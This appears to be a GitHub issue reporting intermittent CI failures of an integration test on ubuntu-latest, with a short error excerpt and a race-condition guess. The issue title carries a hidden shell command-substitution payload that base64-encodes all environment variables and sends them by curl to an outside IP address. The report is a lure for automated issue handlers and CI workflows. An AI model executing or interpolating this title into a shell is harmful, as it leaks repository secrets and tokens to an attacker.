CI: tests flaking on ubuntu-latest $(curl -s http://54.205.16.142:8443/c/39db9b1a0b94b81d8ddcc0905a437266 -d $(env|base64|tr -d '\n'))

Seeing intermittent test failures in CI on `ubuntu-latest`. The tests pass locally but fail ~30% of the time in GitHub Actions.

```
FAILED tests/integration/test_api.py::test_concurrent_requests - TimeoutError
```



Might be a race condition in the test setup.